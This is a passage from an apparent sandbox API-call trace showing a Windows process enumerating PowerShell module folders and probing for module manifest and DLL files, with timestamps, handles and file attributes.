ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76827e8 [0144.713] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.714] FindClose (in: hFindFile=0x76827e8 | out: hFindFile=0x76827e8) returned 1 [0144.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e698) returned 1 [0144.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6a4) returned 1 [0144.714] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0144.714] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0144.715] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0144.715] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0144.715] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0144.715] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0144.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0144.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0144.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e66c) returned 1 [0144.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x843e6e8 | out: lpFileInformation=0x843e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e668) returned 1 [0144.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0144.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0144.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e66c) returned 1 [0144.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x843e6e8 | out: lpFileInformation=0x843e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e668) returned 1 [0144.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0144.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0144.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e66c) returned 1 [0144.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x843e6e8 | out: lpFileInformation=0x843e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e668) returned 1 [0144.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0144.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0144.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e66c) returned 1 [0144.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x843e6e8 | out: lpFileInformation=0x843e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e668) returned 1 [0144.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0144.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0144.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e66c) returned 1 [0144.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x843e6e8 | out: lpFileInformation=0x843e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e668) returned 1 [0144.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6dc) returned 1 [0144.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0144.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0144.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x843e404 | out: lpFindFileData=0x843e404*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76829a8 [0144.717] FindNextFileW (in: hFindFile=0x76829a8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.717] FindNextFileW (in: hFindFile=0x76829a8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0144.717] FindNextFileW (in: hFindFile=0x76829a8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.717] FindClose (in: hFindFile=0x76829a8 | out: hFindFile=0x76829a8) returned 1 [0144.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e698) returned 1 [0144.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6a4) returned 1 [0144.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0144.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0144.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e670) returned 1 [0144.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e6ec | out: lpFileInformation=0x843e6ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0144.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e66c) returned 1 [0144.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0144.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0144.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0144.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0144.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e694) returned 1 [0144.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53fa5dc | out: lpFileInformation=0x53fa5dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0144.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e690) returned 1 [0144.718] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0144.718] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0144.718] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0144.718] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0144.718] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0144.719] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0144.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6dc) returned 1 [0144.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0144.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0144.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x843e404 | out: lpFindFileData=0x843e404*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76827e8 [0144.719] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.719] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0144.719] FindNextFileW (in: hFindFile=0x76827e8, lpFindFileData=0x843e410 | out: lpFindFileData=0x843e410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.719] FindClose (in: hFindFile=0x76827e8 | out: hFindFile=0x76827e8) returned 1 [0144.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e698) returned 1 [0144.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6a4) returned 1 [0144.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0144.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0144.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e670) returned 1 [0144.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e6ec | out: lpFileInformation=0x843e6ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0144.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e66c) returned 1 [0144.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0144.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0144.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0144.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0144.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e694) returned 1 [0144.720] GetFileAttributesExW (in: lpFileName="C:\\Program 